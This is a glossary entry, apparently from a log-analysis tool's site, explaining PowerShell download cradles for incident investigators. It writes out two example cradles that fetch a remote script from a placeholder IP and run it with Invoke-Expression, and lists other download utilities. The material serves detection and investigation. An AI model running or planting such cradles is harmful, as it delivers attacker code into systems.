Glossary
Download cradle
A short PowerShell snippet that fetches code from a remote URL and runs it in memory, without writing a file to disk.
A download cradle is a short PowerShell snippet, usually a one-liner, that retrieves a remote script and executes it in memory, so the payload never exists as a file on disk. It combines two primitives: a download (a web client, a web request or a transfer utility) and an execution step such as Invoke-Expression that turns the downloaded string into running code.
Why it matters in investigations
Cradles are the usual first stage of PowerShell intrusions: phishing macros, malicious shortcuts and hands-on-keyboard operators all use them to pull the next stage from attacker infrastructure. Because nothing is written to disk, the command line or the logged script block is often the only evidence of the payload's origin. The URL or IP inside the cradle is therefore an immediate indicator to pivot on in proxy, DNS and firewall logs.
There are many variants beyond Net.WebClient: Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient, COM objects such as MSXML2.XMLHTTP, and utilities like bitsadmin or certutil -urlcache.
Example
The classic form, often wrapped in an encoded command with a hidden window:
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
A shorter variant does the same with aliases:
irm http://198.51.100.23/a.ps1 | iex
The parser reports a download on its own at medium severity, an execution primitive on its own as Invoke-Expression, and the two together as a high-severity download cradle. It extracts the URL and IP as inert strings you can copy, and never fetches them.
Related terms
- Invoke-Expression (IEX), the execution half of most cradles
- Encoded command, the usual wrapper around a cradle
- Execution policy bypass, often on the same command line
- AMSI, which attackers try to disable before running the payload
Find cradles across your logs, history and transcripts with the PowerShell Parser, and see decoding encoded commands and obfuscation for the layers that usually hide them.